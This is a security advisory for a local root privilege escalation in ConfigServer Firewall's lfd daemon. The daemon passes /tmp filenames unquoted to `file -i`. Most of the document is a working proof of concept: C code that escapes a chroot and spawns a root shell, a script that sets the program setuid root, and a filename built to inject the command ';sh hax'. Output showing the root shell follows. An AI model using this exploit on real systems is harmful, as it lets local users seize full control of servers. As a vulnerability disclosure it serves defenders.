CSF 2.67 - local root privilege escalation via `file -i` command



DESCRIPTION


lfd.pl in ConfigServer Firewall 2.66 has a subroutine called "dirfiles" which monitors the /tmp directory for suspicious files. One of the checks is to see if a file is a binary executable, which is done via the "file -i" command. Since lfd.pl runs as root, and since anyone can create a file with any name of their choice in /tmp, this allows for any local user to obtain root access via a crafted filename.



IMPACT


Command execution as root, full system compromise.


The offending line of code looks similar to the following:

 2057         my @mime_type = `/usr/bin/file -i $File::Find::name`;



[user@host ~]$ cat > root.c << EOF
#include <unistd.h>

#define TEMP_DIR "public_html"

int main()
{
    int x;

    chroot(TEMP_DIR);

    for(x = 0; x < 15; x++) {
        chdir("..");
    }

    chroot(".");

    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
[user@host ~]$ gcc root.c -o root
[user@host ~]$ cd /tmp
[user@host /tmp]$ cat > hax << EOF
chown root.root /home/user/root
chmod 4755 /home/user/root
EOF
[user@host /tmp]$ touch ';sh hax'
[user@host /tmp]$ ls
hax ;sh hax


After about 1 minute...

[user@host ~]$ ls -l root
-rwsr-xr-x 1 root root 5185 Aug 24 05:11 root
[user@host ~]$ echo $SHELL
/usr/local/cpanel/bin/jailshell
[user@host ~]$ ./root
[root@host /]# id
uid=0(root) gid=0(root) groups=500(user)
[root@host /]# ls -al
total 68
drwxr-xr-x 20 root root 4096 Aug 24 04:43 .
drwxr-xr-x 20 root root 4096 Aug 24 04:43 ..
-rw-r--r--  1 root root    0 Aug 24 04:43 .autofsck
-rw-r--r--  1 root root    0 Jun 14 07:10 .autorelabel
drwxr-xr-x  2 root root 4096 May 18 23:30 bin
drwxr-xr-x  2 root root 4096 Mar 10 01:42 boot
drwxr-xr-x  7 root root 1860 Aug 24 04:43 dev
drwxr-xr-x 53 root root 4096 Aug 24 04:43 etc
drwxr-xr-x  3 root root 4096 Jun 14 07:35 home
drwxr-xr-x 10 root root 4096 Aug  8 07:17 lib
drwxr-xr-x  2 root root 4096 Mar 10 01:42 media
drwxr-xr-x  2 root root 4096 Mar 10 01:42 mnt
drwxr-xr-x  2 root root 4096 Mar 10 01:42 opt
dr-xr-xr-x 36 root root    0 Aug 24 04:43 proc
drwxr-x---  4 root root 4096 Aug 24 07:46 root
drwxr-xr-x  2 root root 4096 May 18 23:30 sbin
drwxr-xr-x  2 root root 4096 Mar 10 01:42 selinux
drwxr-xr-x  2 root root 4096 Mar 10 01:42 srv
drwxr-xr-x  3 root root    0 Aug 24 04:43 sys
drwxrwxrwt  2 root root 4096 Aug 24 08:14 tmp
drwxr-xr-x 13 root root 4096 May 18 23:30 usr
drwxr-xr-x 19 root root 4096 May 18 23:30 var


What's happening in the example above is that lfd is effectively running the following shell command as root from within the /tmp directory:

file -i ;sh hax

Since the semicolon is a metacharacter (that is, a character that, when unquoted, separates words, where "words" are a sequence of characters considered as a single unit by the shell), it allows us to terminate the "file -i" command and start a new one - "sh hax" - which will execute the file called "hax".